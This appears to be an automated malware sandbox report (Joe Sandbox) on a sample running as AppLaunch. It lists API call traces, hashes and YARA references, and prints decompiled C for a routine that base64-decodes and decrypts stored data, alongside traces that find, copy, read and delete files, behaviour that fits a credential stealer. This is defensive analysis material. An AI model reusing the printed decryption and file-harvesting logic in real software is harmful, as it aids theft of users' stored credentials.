0x0040761e
0x0040753d
0x0040752a
0x004074ea
0x004076b9
0x004076bc
0x00000000
0x0040769c
0x004076aa
0x004076b3
0x00000000
0x004076b3
0x004076c4
0x004076c8

APIs

LocalAlloc.KERNEL32(00000040,00000208,00000000,00000000,00000000), ref: 00407489

Part of subcall function 0041AD76: RealDriveType.SHELL32(DB4B90B6,00000000), ref: 0041AD91
Part of subcall function 0041AD76: RealDriveType.SHELL32(F6C33797,00000000), ref: 0041AD9A
Part of subcall function 0041AD76: RealDriveType.SHELL32(B4FED3B4,00000000), ref: 0041ADA3
Part of subcall function 0041AD76: RealDriveType.SHELL32(E053CF6F,00000000), ref: 0041ADAC
Part of subcall function 0041AD76: RealDriveType.SHELL32(9F1C7DF3,00000000), ref: 0041ADB5
Part of subcall function 0041AD76: RealDriveType.SHELL32(798F4A1B,00000000), ref: 0041ADBE
Part of subcall function 0041AD76: RealDriveType.SHELL32(425CBB03,00000000), ref: 0041ADC7
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041ADD3
Part of subcall function 0041AD76: RealDriveType.SHELL32(EA97A208,00000000), ref: 0041ADDC
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041ADE6
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041ADEC
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041ADF2
Part of subcall function 0041AD76: RealDriveType.SHELL32(DF46B1FA,00000000), ref: 0041ADFB
Part of subcall function 0041AD76: RealDriveType.SHELL32(EC90E4E7,00000000), ref: 0041AE08
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041AE12
Part of subcall function 0041AD76: RealDriveType.SHELL32(50B39D8C,00000000), ref: 0041AE1B
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041AE25
Part of subcall function 0041AD76: RealDriveType.SHELL32(CE8B1640,00000000), ref: 0041AE2E
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041AE38
Part of subcall function 0041AD76: RealDriveType.SHELL32(01DAA5FB,00000000), ref: 0041AE41
Part of subcall function 0041AD76: RealDriveType.SHELL32(C79127D6,00000000), ref: 0041AE4E
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041AE58
Part of subcall function 0041AD76: RealDriveType.SHELL32(6B26D139,00000000), ref: 0041AE61
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041AE6B
Part of subcall function 0041AD76: RealDriveType.SHELL32(E9760AD3,00000000), ref: 0041AE74
Part of subcall function 0041AD76: RealDriveType.SHELL32(2BEFB636,00000000), ref: 0041AE81
Part of subcall function 0041AD76: RealDriveType.SHELL32(04751878,00000000), ref: 0041AE8E
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041AE98
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041AE9E

Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041AEA4
Part of subcall function 0041AD76: RealDriveType.SHELL32(273488AB,00000000), ref: 0041AEAD
Part of subcall function 0041AD76: RealDriveType.SHELL32(EC61A23F,00000000), ref: 0041AEBA
Part of subcall function 0041AD76: RealDriveType.SHELL32(B3DAA166,00000000), ref: 0041AEC7
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041AED1
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041AED7
Part of subcall function 0041AD76: RealDriveType.SHELL32(D938E356,00000000), ref: 0041AEE0
Part of subcall function 0041AD76: lstrlenW.KERNEL32(00000000,?,00413AB2), ref: 0041AEE7
Part of subcall function 0041AD76: lstrlenW.KERNEL32(?,?,00413AB2), ref: 0041AEF0
Part of subcall function 0041AD76: RealDriveType.SHELL32(070D2202,00000000), ref: 0041AF02
Part of subcall function 0041AD76: RealDriveType.SHELL32(1B94926A,00000000), ref: 0041AF0F
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041AF19
Part of subcall function 0041AD76: RealDriveType.SHELL32(C8C42F5E,00000000), ref: 0041AF22
Part of subcall function 0041AD76: RealDriveType.SHELL32(D76050E1,00000000), ref: 0041AF2F
Part of subcall function 0041AD76: RealDriveType.SHELL32(1B837923,00000000), ref: 0041AF3C
Part of subcall function 0041AD76: RealDriveType.SHELL32(9064BFC7,00000000), ref: 0041AF49
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041AF53
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041AF59
Part of subcall function 0041AD76: RealDriveType.SHELL32(AFE6E195,00000000), ref: 0041AF62
Part of subcall function 0041AD76: RealDriveType.SHELL32(3CCCC8AD,00000000), ref: 0041AF6F
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041AF79
Part of subcall function 0041AD76: RealDriveType.SHELL32(49AB8BAF,00000000), ref: 0041AF82
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041AF8C
Part of subcall function 0041AD76: RealDriveType.SHELL32(49B60F98,00000000), ref: 0041AF95
Part of subcall function 0041AD76: RealDriveType.SHELL32(05950617,00000000), ref: 0041AFA2
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041AFAC
Part of subcall function 0041AD76: RealDriveType.SHELL32(469C9C40,00000000), ref: 0041AFB5
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041AFBF
Part of subcall function 0041AD76: RealDriveType.SHELL32(429F1FBD,00000000), ref: 0041AFC8
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041AFD2
Part of subcall function 0041AD76: RealDriveType.SHELL32(DE0C8199,00000000), ref: 0041AFDB
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041AFE5
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041AFEB

FindFirstFileW.KERNEL32(00000000,?), ref: 004074B2
StrStrW.SHLWAPI(?), ref: 004074E2
LocalAlloc.KERNEL32(00000040,00000208), ref: 004074F7
PathCombineW.SHLWAPI(00000000,00000000,?), ref: 00407506
LocalAlloc.KERNEL32(00000040,00000208), ref: 00407515

Part of subcall function 0041C37E: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041C391
Part of subcall function 0041C37E: RealDriveType.SHELL32(49068A3F,00000000), ref: 0041C39F
Part of subcall function 0041C37E: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041C3A5
Part of subcall function 0041C37E: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041C3AB
Part of subcall function 0041C37E: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041C3B1
Part of subcall function 0041C37E: RealDriveType.SHELL32(90F51192,00000000), ref: 0041C3BA
Part of subcall function 0041C37E: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041C3C0
Part of subcall function 0041C37E: RealDriveType.SHELL32(8030BDD6,00000000), ref: 0041C3C9
Part of subcall function 0041C37E: RealDriveType.SHELL32(3529F220,00000000), ref: 0041C3D2
Part of subcall function 0041C37E: RealDriveType.SHELL32(44900BA8,00000000), ref: 0041C3DB
Part of subcall function 0041C37E: RealDriveType.SHELL32(80627B6F,00000000), ref: 0041C3E4
Part of subcall function 0041C37E: RealDriveType.SHELL32(4B2F893E,00000000), ref: 0041C3ED
Part of subcall function 0041C37E: RealDriveType.SHELL32(9237E9C0,00000000), ref: 0041C3F6
Part of subcall function 0041C37E: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041C3FC
Part of subcall function 0041C37E: RealDriveType.SHELL32(001C2176,00000000), ref: 0041C405
Part of subcall function 0041C37E: RealDriveType.SHELL32(DCD15041,00000000), ref: 0041C40E
Part of subcall function 0041C37E: RealDriveType.SHELL32(06ACA385,00000000), ref: 0041C417
Part of subcall function 0041C37E: RealDriveType.SHELL32(54EEC891,00000000), ref: 0041C420
Part of subcall function 0041C37E: RealDriveType.SHELL32(6F107F95,00000000), ref: 0041C429
Part of subcall function 0041C37E: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041C42F
Part of subcall function 0041C37E: RealDriveType.SHELL32(1A1C9336,00000000), ref: 0041C438
Part of subcall function 0041C37E: RealDriveType.SHELL32(DF38BEB2,00000000), ref: 0041C441
Part of subcall function 0041C37E: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041C447
Part of subcall function 0041C37E: RealDriveType.SHELL32(1D427676,00000000), ref: 0041C450
Part of subcall function 0041C37E: RealDriveType.SHELL32(2EC4F5A1,00000000), ref: 0041C459
Part of subcall function 0041C37E: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041C45F
Part of subcall function 0041C37E: RealDriveType.SHELL32(3921A8C1,00000000), ref: 0041C468
Part of subcall function 0041C37E: RealDriveType.SHELL32(E7FE911E,00000000), ref: 0041C471
Part of subcall function 0041C37E: RealDriveType.SHELL32(3D01E728,00000000), ref: 0041C47A
Part of subcall function 0041C37E: RealDriveType.SHELL32(AEAA71A1,00000000), ref: 0041C483

CopyFileW.KERNEL32(00000000,?,00000000), ref: 00407535
CreateFileW.KERNEL32(?,80000000,00000001,00000000,00000004,00000000,00000000), ref: 00407552
GetFileSize.KERNEL32(00000000,00000000), ref: 0040755D
LocalAlloc.KERNEL32(00000040,00000208), ref: 0040756A
StrCpyW.SHLWAPI(00000000), ref: 00407577

Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041AFF1
Part of subcall function 0041AD76: RealDriveType.SHELL32(E995579D,00000000), ref: 0041AFFA
Part of subcall function 0041AD76: RealDriveType.SHELL32(84B4EFE9,00000000), ref: 0041B007
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041B011
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041B017
Part of subcall function 0041AD76: RealDriveType.SHELL32(69DD92CF,00000000), ref: 0041B020
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041B02A
Part of subcall function 0041AD76: RealDriveType.SHELL32(D60D9783,00000000), ref: 0041B033
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041B03D
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041B043
Part of subcall function 0041AD76: RealDriveType.SHELL32(D524453E,00000000), ref: 0041B04C
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041B056
Part of subcall function 0041AD76: LocalAlloc.KERNELBASE(00000040,00000000,?,?,00413AB2), ref: 0041B05E
Part of subcall function 0041AD76: RealDriveType.SHELL32(95C49318,00000000), ref: 0041B079
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041B083
Part of subcall function 0041AD76: RealDriveType.SHELL32(1DCFFBF4,00000000), ref: 0041B090
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041B09A
Part of subcall function 0041AD76: RealDriveType.SHELL32(9C735FFF,00000000), ref: 0041B0A7
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041B0B1
Part of subcall function 0041AD76: RealDriveType.SHELL32(68C482AD,00000000), ref: 0041B0BE
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041B0C8
Part of subcall function 0041AD76: RealDriveType.SHELL32(691D272A,00000000), ref: 0041B0D5
Part of subcall function 0041AD76: RealDriveType.SHELL32(DBDB247C,00000000), ref: 0041B0E2
Part of subcall function 0041AD76: RealDriveType.SHELL32(89A7247D,00000000), ref: 0041B0EF
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041B0F9
Part of subcall function 0041AD76: RealDriveType.SHELL32(7BCCF2AA,00000000), ref: 0041B106
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041B110
Part of subcall function 0041AD76: RealDriveType.SHELL32(FD492CE4,00000000), ref: 0041B11D
Part of subcall function 0041AD76: RealDriveType.SHELL32(9D6BEA8D,00000000), ref: 0041B12A
Part of subcall function 0041AD76: RealDriveType.SHELL32(E0F34789,00000000), ref: 0041B137
Part of subcall function 0041AD76: RealDriveType.SHELL32(044B76F0,00000000), ref: 0041B144
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041B14E

Part of subcall function 0041AD76: RealDriveType.SHELL32(F4BADB94,00000000), ref: 0041B15B
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041B165
Part of subcall function 0041AD76: RealDriveType.SHELL32(EE3E27F5,00000000), ref: 0041B172
Part of subcall function 0041AD76: RealDriveType.SHELL32(48485EFA,00000000), ref: 0041B17F
Part of subcall function 0041AD76: RealDriveType.SHELL32(070B9A41,00000000), ref: 0041B18C
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041B196
Part of subcall function 0041AD76: RealDriveType.SHELL32(571FE76C,00000000), ref: 0041B1A3
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041B1AD
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041B1B7
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041B1C1
Part of subcall function 0041AD76: RealDriveType.SHELL32(52ABA1CE,00000000), ref: 0041B1CE
Part of subcall function 0041AD76: RealDriveType.SHELL32(B9749A76,00000000), ref: 0041B1DB
Part of subcall function 0041AD76: RealDriveType.SHELL32(50A3EE5B,00000000), ref: 0041B1E8
Part of subcall function 0041AD76: RealDriveType.SHELL32(85FA4239,00000000), ref: 0041B1F5
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041B1FF
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041B209
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041B213
Part of subcall function 0041AD76: RealDriveType.SHELL32(6EFD5CA5,00000000), ref: 0041B231
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041B23B
Part of subcall function 0041AD76: RealDriveType.SHELL32(0FD92313,00000000), ref: 0041B244
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041B24A
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041B250
Part of subcall function 0041AD76: RealDriveType.SHELL32(E4AA7B61,00000000), ref: 0041B259
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041B25F
Part of subcall function 0041AD76: RealDriveType.SHELL32(9267EC63,00000000), ref: 0041B268
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041B26E
Part of subcall function 0041AD76: RealDriveType.SHELL32(DA224DC3,00000000), ref: 0041B277
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041B27D
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041B283
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041B289
Part of subcall function 0041AD76: RealDriveType.SHELL32(A7867F73,00000000), ref: 0041B292

Part of subcall function 0041AD76: RealDriveType.SHELL32(4E7350CF,00000000), ref: 0041B29B
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041B2A1
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041B2A7
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041B2AD
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041B2B3
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041B2B9
Part of subcall function 0041AD76: RealDriveType.SHELL32(8A17A7AE,00000000), ref: 0041B2C2
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041B2C8
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041B2CE
Part of subcall function 0041AD76: RealDriveType.SHELL32(B95CF60A,00000000), ref: 0041B2D7
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041B2DD
Part of subcall function 0041AD76: RealDriveType.SHELL32(7CCFEA8C,00000000), ref: 0041B2E6
Part of subcall function 0041AD76: RealDriveType.SHELL32(D60CCAF0,00000000), ref: 0041B2EF
Part of subcall function 0041AD76: RealDriveType.SHELL32(8B5FE606,00000000), ref: 0041B2F8
Part of subcall function 0041AD76: RealDriveType.SHELL32(642C6F94,00000000), ref: 0041B301
Part of subcall function 0041AD76: RealDriveType.SHELL32(D2826C73,00000000), ref: 0041B30A
Part of subcall function 0041AD76: RealDriveType.SHELL32(713B5C57,00000000), ref: 0041B313
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041B319
Part of subcall function 0041AD76: RealDriveType.SHELL32(0C8175A7,00000000), ref: 0041B322
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041B328
Part of subcall function 0041AD76: RealDriveType.SHELL32(696CF4EC,00000000), ref: 0041B331
Part of subcall function 0041AD76: RealDriveType.SHELL32(7FF3D359,00000000), ref: 0041B33A
Part of subcall function 0041AD76: GlobalFree.KERNEL32(?), ref: 0041B33F
Part of subcall function 0041AD76: RealDriveType.SHELL32(70AECD0D,00000000), ref: 0041B34C
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041B352
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041B358
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041B35E
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041B364
Part of subcall function 0041AD76: RealDriveType.SHELL32(AB226166,00000000), ref: 0041B36D
Part of subcall function 0041AD76: RealDriveType.SHELL32(1875566A,00000000), ref: 0041B376
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041B37C
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041B382
Part of subcall function 0041AD76: RealDriveType.SHELL32(001CBF60,00000000), ref: 0041B38B

Part of subcall function 0041AD76: RealDriveType.SHELL32(6459A2D3,00000000), ref: 0041B394
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041B39A
Part of subcall function 0041AD76: RealDriveType.SHELL32(FF4BA676,00000000), ref: 0041B3A3
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041B3A9
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041B3AF
Part of subcall function 0041AD76: RealDriveType.SHELL32(D97D5CDF,00000000), ref: 0041B3B8
Part of subcall function 0041AD76: RealDriveType.SHELL32(709B99DB,00000000), ref: 0041B3C1
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041B3C7
Part of subcall function 0041AD76: RealDriveType.SHELL32(AC38C7DA,00000000), ref: 0041B3D0
Part of subcall function 0041AD76: RealDriveType.SHELL32(01624B42,00000000), ref: 0041B3D9
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041B3DF
Part of subcall function 0041AD76: RealDriveType.SHELL32(2027B2EF,00000000), ref: 0041B3E8
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041B3EE
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041B3F4
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041B3FA
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041B400
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041B406
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041B40C
Part of subcall function 0041AD76: RealDriveType.SHELL32(26293B1F,00000000), ref: 0041B415
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041B41B
Part of subcall function 0041AD76: RealDriveType.SHELL32(28C398C5,00000000), ref: 0041B424
Part of subcall function 0041AD76: RealDriveType.SHELL32(FD324B5E,00000000), ref: 0041B42D
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041B433
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041B439
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041B43F
Part of subcall function 0041AD76: RealDriveType.SHELL32(BD15EE40,00000000), ref: 0041B448

WideCharToMultiByte.KERNEL32(0000FDE9,00000000,00000000,000000FF,00000000,00000000,00000000,00000000), ref: 004075F2
LocalAlloc.KERNEL32(00000040,00000040), ref: 00407601
LocalAlloc.KERNEL32(00000040,0000020A), ref: 00407610
WideCharToMultiByte.KERNEL32(0000FDE9,00000000,004085A1,000000FF,00000000,?,00000000,00000000), ref: 00407631
StrCpyW.SHLWAPI(00000000,?), ref: 0040764E
LocalFree.KERNEL32(00000000), ref: 00407678
LocalFree.KERNEL32(00000000), ref: 00407681
LocalFree.KERNEL32(?), ref: 0040768A
LocalFree.KERNEL32(00000000), ref: 00407691
FindNextFileW.KERNEL32(00000000,00000010), ref: 004076A4
FindClose.KERNEL32(00000000), ref: 004076B3
LocalFree.KERNEL32(?), ref: 004076BC
LocalFree.KERNEL32(004085A1), ref: 004076CC
LocalFree.KERNEL32(00000000), ref: 004076D3
LocalFree.KERNEL32(?), ref: 004076DC
LocalFree.KERNEL32(00000000), ref: 004076E3
LocalFree.KERNEL32(00000000), ref: 004076EC
LocalFree.KERNEL32(?), ref: 004076F7
LocalFree.KERNEL32(00000000), ref: 004076FE
DeleteFileW.KERNEL32(?), ref: 00407707

Memory Dump Source

Source File: 00000003.00000002.264339617.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.264331177.0000000000400000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.264363170.0000000000420000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.264369046.0000000000423000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.264375615.0000000000424000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_AppLaunch.jbxd

Similarity

API ID: DriveRealType$Path$Slow$Local$Free$Alloc$File$Find$ByteCharMultiWidelstrlen$CloseCombineCopyCreateDeleteFirstGlobalNextSize
String ID:
API String ID: 1478097255-0
Opcode ID: 7df45668bc12ab77238729ba68d6718c0dc042bf87a9969db043a704055fa337
Instruction ID: 6dd5c842b28a16d603cd2ef6494660466c3668589ec09caec6b7d33acd06c42e
Opcode Fuzzy Hash: 7df45668bc12ab77238729ba68d6718c0dc042bf87a9969db043a704055fa337
Instruction Fuzzy Hash: 03717F30B01604ABCB209FB0DC4DAAE7F79FF05712F404565F606A72A0DB7D9A42CB68

Uniqueness

Uniqueness Score: -1.00%

Function 00407194 Relevance: 16.6, APIs: 11, Instructions: 126
memorystringencryptionCOMMON

Download Yara Rule

C-Code - Quality: 43%

			E00407194(CHAR* __ecx, WCHAR** __edx) {
				int _v8;
				void* _v12;
				int _v16;
				intOrPtr _v20;
				char* _v24;
				char* _v28;
				char _v32;
				int _v36;
				void* _v40;
				char _v44;
				BYTE* _t29;
				int _t48;
				WCHAR** _t58;
				int _t67;
				void* _t68;
				CHAR* _t70;
				intOrPtr _t71;
				long _t72;

				_t58 = __edx;
				_t70 = __ecx;
				_v8 = 0x1fa0;
				_t67 = 0;
				_t29 = LocalAlloc(0x40, 0x1fa0);
				_v12 = _t29;
				if(CryptStringToBinaryA(_t70, lstrlenA(_t70), 1, _t29,  &_v8, 0, 0) != 0) {
					_t71 =  *0x4235b0();
					_v20 = _t71;
					if(_t71 == 0) {
						_t67 = 0;
						 *_t58 = StrCpyW( *_t58,  *0x42343c);
					} else {
						_push(0);
						_push(1);
						_push(_t71);
						if( *0x4235a0() != 0) {
							L7:
							_t67 = 0;
							 *_t58 = StrCpyW( *_t58,  *0x42343c);
						} else {
							_v40 = _v12;
							_v36 = _v8;
							_push(0);
							_v28 = 0;
							_v24 = 0;
							_push( &_v32);
							_push( &_v44);
							if( *0x42359c() != 0) {
								goto L7;
							} else {
								 *((char*)(_v24 + _v28)) = 0;
								_t48 = MultiByteToWideChar(0xfde9, 0, _v28, _v24 + 1, 0, 0);
								_v16 = _t48;
								if(_t48 != 0) {
									_t72 = _t48 + _t48;
									_t68 = LocalAlloc(0x40, _t72);
									MultiByteToWideChar(0xfde9, 0, _v28, _v24 + 1, _t68, _v16);
									 *((short*)(_t72 + _t68 - 2)) = 0;
									 *_t58 = StrCpyW( *_t58, _t68);
									LocalFree(_t68);
									_t71 = _v20;
									_t67 = 1;
								}
								 *0x423588( &_v32, 0);
							}
						}
						 *0x4235a4(_t71);
					}
				}
				LocalFree(_v12);
				return _t67;
			}

0x004071a2
0x004071a7
0x004071a9
0x004071ac
0x004071ae
0x004071b9
0x004071d1
0x004071dd
0x004071df
0x004071e4
0x004072c9
0x004072d3
0x004071ea
0x004071ea
0x004071eb
0x004071ed
0x004071f9
0x004072a7
0x004072ad
0x004072b7
0x004071ff
0x00407202
0x00407208
0x0040720d
0x0040720e
0x00407211
0x00407217
0x0040721b
0x00407227
0x00000000
0x00407229
0x00407233
0x00407244
0x0040724a
0x0040724f
0x00407251
0x00407260
0x00407272
0x0040727d
0x00407289
0x0040728b
0x00407291
0x00407296
0x00407296
0x0040729d
0x004072a4
0x00407227
0x004072ba
0x004072c0
0x004071e4
0x004072d8
0x004072e4

APIs

LocalAlloc.KERNEL32(00000040,00001FA0,00003F40,?,00000000), ref: 004071AE
lstrlenA.KERNEL32(?,00000001,00000000,?,00000000,00000000), ref: 004071C1
CryptStringToBinaryA.CRYPT32(?,00000000), ref: 004071C9
MultiByteToWideChar.KERNEL32(0000FDE9,00000000,?,?,00000000,00000000), ref: 00407244
LocalAlloc.KERNEL32(00000040,00000000), ref: 00407257
MultiByteToWideChar.KERNEL32(0000FDE9,00000000,?,?,00000000,?), ref: 00407272
StrCpyW.SHLWAPI(000000FF,00000000), ref: 00407282
LocalFree.KERNEL32(00000000), ref: 0040728B
StrCpyW.SHLWAPI(000000FF), ref: 004072B1
StrCpyW.SHLWAPI(000000FF), ref: 004072CD
LocalFree.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,00408003), ref: 004072D8

Memory Dump Source

Source File: 00000003.00000002.264339617.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.264331177.0000000000400000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.264363170.0000000000420000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.264369046.0000000000423000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.264375615.0000000000424000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_AppLaunch.jbxd

Similarity

API ID: Local$AllocByteCharFreeMultiWide$BinaryCryptStringlstrlen
String ID:
API String ID: 2954581451-0
Opcode ID: 0484eb39f46b4cc0869296e396fe6c9276f9f67600aa49f4009064d94a809073
Instruction ID: 9791908264d3c7f9e81a87f6214a27b77ab25c9c7ad7120a84ad7554097a6d4a
Opcode Fuzzy Hash: 0484eb39f46b4cc0869296e396fe6c9276f9f67600aa49f4009064d94a809073
Instruction Fuzzy Hash: 0B415071A00105BFDB219FA5DC48EBFBBB9EF89702F400069FA05E7254D7385A46CB69

Uniqueness

Uniqueness Score: -1.00%

Function 00401B8A Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 50encryptionmemoryCOMMON

Download Yara Rule

APIs

CryptBinaryToStringW.CRYPT32(?,?,40000001,00000000,00000000), ref: 00401BA8
LocalAlloc.KERNEL32(00000040,00000000), ref: 00401BBA
CryptBinaryToStringW.CRYPT32(?,00000000,40000001,00000000,00000000), ref: 00401BD4
StrCpyW.SHLWAPI(?,00000000), ref: 00401BE1
LocalFree.KERNEL32(00000000), ref: 00401BE8
LocalFree.KERNEL32(00000000), ref: 00401BF3

Strings

'@, xrefs: 00401B8A

Memory Dump Source

Source File: 00000003.00000002.264339617.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.264331177.0000000000400000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.264363170.0000000000420000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.264369046.0000000000423000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.264375615.0000000000424000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_AppLaunch.jbxd

Similarity

API ID: Local$BinaryCryptFreeString$Alloc
String ID: '@
API String ID: 3407721659-1210607465
Opcode ID: 455ad72ac9a2161bdf32bb6a051ec11d151c942817fed361fd356bdf2a3c42e7
